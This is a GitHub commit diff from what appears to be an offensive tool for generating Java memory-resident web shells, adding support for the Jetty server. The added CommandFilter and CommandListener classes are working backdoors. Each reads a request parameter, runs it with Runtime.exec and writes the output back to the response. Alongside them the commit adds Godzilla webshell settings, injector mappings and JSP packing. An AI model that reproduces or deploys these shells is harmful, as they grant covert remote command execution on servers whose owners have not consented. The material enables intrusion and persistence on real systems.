Skip to content

Commit c9cd7c1

Browse files
committed
feat: support jetty shell generate
1 parent cde6758 commit c9cd7c1

37 files changed

+1643
-136
lines changed

generator/src/main/java/com/reajason/javaweb/GeneratorMain.java

Lines changed: 17 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
package com.reajason.javaweb;
22

33
import com.reajason.javaweb.config.*;
4+
import com.reajason.javaweb.memsell.jetty.JettyShell;
45
import com.reajason.javaweb.memsell.packer.Packer;
56
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
7+
import lombok.SneakyThrows;
68

79
import java.io.IOException;
810

@@ -11,19 +13,22 @@
1113
* @since 2024/11/24
1214
*/
1315
public class GeneratorMain {
16+
static TomcatShell tomcatShell = new TomcatShell();
17+
static JettyShell jettyShell = new JettyShell();
18+
1419
public static void main(String[] args) throws IOException {
1520
ShellConfig shellConfig = ShellConfig.builder()
16-
.server(Server.TOMCAT)
21+
.server(Server.JETTY)
1722
.shellTool(ShellTool.Godzilla)
18-
.shellType(TomcatShell.LISTENER).build();
23+
.shellType(Constants.FILTER).build();
1924
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
20-
.pass("pass123")
21-
.key("key123")
25+
.pass("pass")
26+
.key("key")
2227
.headerName("User-Agent")
23-
.headerValue("test")
28+
.headerValue("test123")
2429
.build();
25-
26-
byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
30+
InjectorConfig injectorConfig = new InjectorConfig();
31+
byte[] bytes = generate(shellConfig, injectorConfig, godzillaConfig, Packer.INSTANCE.JSP);
2732
if (bytes != null) {
2833
System.out.println(new String(bytes));
2934
}
@@ -32,22 +37,24 @@ public static void main(String[] args) throws IOException {
3237
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
3338
switch (shellConfig.getServer()) {
3439
case TOMCAT:
35-
return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
40+
return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
41+
case JETTY:
42+
return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig);
3643
case BES:
3744
break;
3845
case RESIN:
3946
break;
40-
case JETTY:
41-
break;
4247
default:
4348
throw new IllegalArgumentException("Unsupported server");
4449
}
4550
return null;
4651
}
4752

53+
@SneakyThrows
4854
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
4955
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
5056
if (generateResult != null) {
57+
// Files.write(Paths.get( injectorConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
5158
return packerInstance.getPacker().pack(generateResult);
5259
}
5360
return null;

generator/src/main/java/com/reajason/javaweb/config/Constants.java

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,11 @@
88
*/
99
public class Constants {
1010
public static final int DEFAULT_VERSION = Opcodes.V1_6;
11+
12+
public static final String SERVLET = "Servlet";
13+
public static final String JAKARTA_SERVLET = "JakartaServlet";
14+
public static final String FILTER = "Filter";
15+
public static final String JAKARTA_FILTER = "JakartaFilter";
16+
public static final String LISTENER = "Listener";
17+
public static final String JAKARTA_LISTENER = "JakartaListener";
1118
}

generator/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -140,7 +140,9 @@ public boolean start() {
140140
if (response.isSuccessful()) {
141141
return true;
142142
}
143-
} catch (IOException ignored) {
143+
System.out.println(response.body().string());
144+
} catch (IOException e) {
145+
e.printStackTrace();
144146
}
145147
return false;
146148
}
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
package com.reajason.javaweb.memsell;
2+
3+
import com.reajason.javaweb.config.*;
4+
import org.apache.commons.lang3.tuple.Pair;
5+
6+
import java.util.HashMap;
7+
import java.util.Map;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2024/12/7
12+
*/
13+
public abstract class AbstractShell {
14+
protected final Map<String, Pair<Class<?>, Class<?>>> godzillaShellMap = new HashMap<>();
15+
protected final Map<String, Pair<Class<?>, Class<?>>> commandShellMap = new HashMap<>();
16+
17+
public AbstractShell() {
18+
initializeShellMaps();
19+
}
20+
21+
/**
22+
* setup map
23+
*/
24+
protected abstract void initializeShellMaps();
25+
26+
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
27+
Class<?> injectorClass = injectorConfig.getInjectorClass();
28+
byte[] shellBytes;
29+
30+
Pair<Class<?>, Class<?>> classPair = getClassPair(shellConfig);
31+
32+
if (injectorClass == null) {
33+
injectorClass = classPair.getRight();
34+
}
35+
shellToolConfig.setClazz(classPair.getLeft());
36+
37+
shellBytes = generateShellBytes(shellConfig, shellToolConfig);
38+
39+
injectorConfig = injectorConfig
40+
.toBuilder()
41+
.injectorClass(injectorClass)
42+
.shellClassName(shellToolConfig.getClassName())
43+
.shellClassBytes(shellBytes).build();
44+
45+
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
46+
47+
return GenerateResult.builder()
48+
.shellConfig(shellConfig)
49+
.shellToolConfig(shellToolConfig)
50+
.injectorConfig(injectorConfig)
51+
.shellClassName(shellToolConfig.getClassName())
52+
.shellBytes(shellBytes)
53+
.injectorClassName(injectorClass.getName())
54+
.injectorBytes(injectorBytes)
55+
.build();
56+
}
57+
58+
private Pair<Class<?>, Class<?>> getClassPair(ShellConfig shellConfig) {
59+
Map<String, Pair<Class<?>, Class<?>>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap;
60+
return shellMap.get(shellConfig.getShellType());
61+
}
62+
63+
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
64+
return switch (shellConfig.getShellTool()) {
65+
case Godzilla -> GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
66+
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
67+
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
68+
};
69+
}
70+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
package com.reajason.javaweb.memsell.jetty;
2+
3+
import com.reajason.javaweb.memsell.AbstractShell;
4+
import com.reajason.javaweb.memsell.jetty.command.CommandFilter;
5+
import com.reajason.javaweb.memsell.jetty.command.CommandListener;
6+
import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaFilter;
7+
import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaListener;
8+
import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector;
9+
import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector;
10+
import org.apache.commons.lang3.tuple.Pair;
11+
12+
import static com.reajason.javaweb.config.Constants.*;
13+
14+
/**
15+
* @author ReaJason
16+
* @since 2024/12/7
17+
*/
18+
public class JettyShell extends AbstractShell {
19+
20+
@Override
21+
protected void initializeShellMaps() {
22+
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
23+
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
24+
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
25+
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
26+
27+
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
28+
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
29+
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
30+
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
31+
}
32+
}
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
package com.reajason.javaweb.memsell.jetty.command;
2+
3+
import javax.servlet.*;
4+
import javax.servlet.http.HttpServletRequest;
5+
import javax.servlet.http.HttpServletResponse;
6+
import java.io.IOException;
7+
import java.io.InputStream;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2024/11/24
12+
*/
13+
public class CommandFilter implements Filter {
14+
public String paramName = "{{paramName}}";
15+
16+
@Override
17+
public void init(FilterConfig filterConfig) throws ServletException {
18+
19+
}
20+
21+
@Override
22+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
23+
HttpServletRequest servletRequest = (HttpServletRequest) request;
24+
HttpServletResponse servletResponse = (HttpServletResponse) response;
25+
String cmd = servletRequest.getParameter(paramName);
26+
try {
27+
if (cmd != null) {
28+
Process exec = Runtime.getRuntime().exec(cmd);
29+
InputStream inputStream = exec.getInputStream();
30+
ServletOutputStream outputStream = servletResponse.getOutputStream();
31+
byte[] buf = new byte[8192];
32+
int length;
33+
while ((length = inputStream.read(buf)) != -1) {
34+
outputStream.write(buf, 0, length);
35+
}
36+
} else {
37+
chain.doFilter(servletRequest, servletResponse);
38+
}
39+
} catch (Exception e) {
40+
chain.doFilter(servletRequest, servletResponse);
41+
}
42+
}
43+
44+
@Override
45+
public void destroy() {
46+
47+
}
48+
}
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
package com.reajason.javaweb.memsell.jetty.command;
2+
3+
import javax.servlet.ServletOutputStream;
4+
import javax.servlet.ServletRequestEvent;
5+
import javax.servlet.ServletRequestListener;
6+
import javax.servlet.http.HttpServletRequest;
7+
import javax.servlet.http.HttpServletResponse;
8+
import java.io.InputStream;
9+
import java.lang.reflect.Field;
10+
11+
/**
12+
* @author ReaJason
13+
*/
14+
public class CommandListener implements ServletRequestListener {
15+
public String paramName = "{{paramName}}";
16+
17+
public CommandListener() {
18+
}
19+
20+
@Override
21+
public void requestDestroyed(ServletRequestEvent sre) {
22+
23+
}
24+
25+
@Override
26+
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
27+
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
28+
try {
29+
String cmd = request.getParameter(paramName);
30+
if (cmd != null) {
31+
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
32+
Process exec = Runtime.getRuntime().exec(cmd);
33+
InputStream inputStream = exec.getInputStream();
34+
ServletOutputStream outputStream = servletResponse.getOutputStream();
35+
byte[] buf = new byte[8192];
36+
int length;
37+
while ((length = inputStream.read(buf)) != -1) {
38+
outputStream.write(buf, 0, length);
39+
}
40+
}
41+
} catch (Exception ignored) {
42+
}
43+
}
44+
45+
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
46+
HttpServletResponse response = null;
47+
try {
48+
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
49+
} catch (Exception e) {
50+
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
51+
}
52+
return response;
53+
}
54+
55+
@SuppressWarnings("all")
56+
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
57+
Field field = null;
58+
Class<?> clazz = obj.getClass();
59+
while (clazz != Object.class) {
60+
try {
61+
field = clazz.getDeclaredField(name);
62+
break;
63+
} catch (NoSuchFieldException var5) {
64+
clazz = clazz.getSuperclass();
65+
}
66+
}
67+
if (field == null) {
68+
throw new NoSuchFieldException(name);
69+
} else {
70+
field.setAccessible(true);
71+
return field.get(obj);
72+
}
73+
}
74+
}

0 commit comments

Comments
 (0)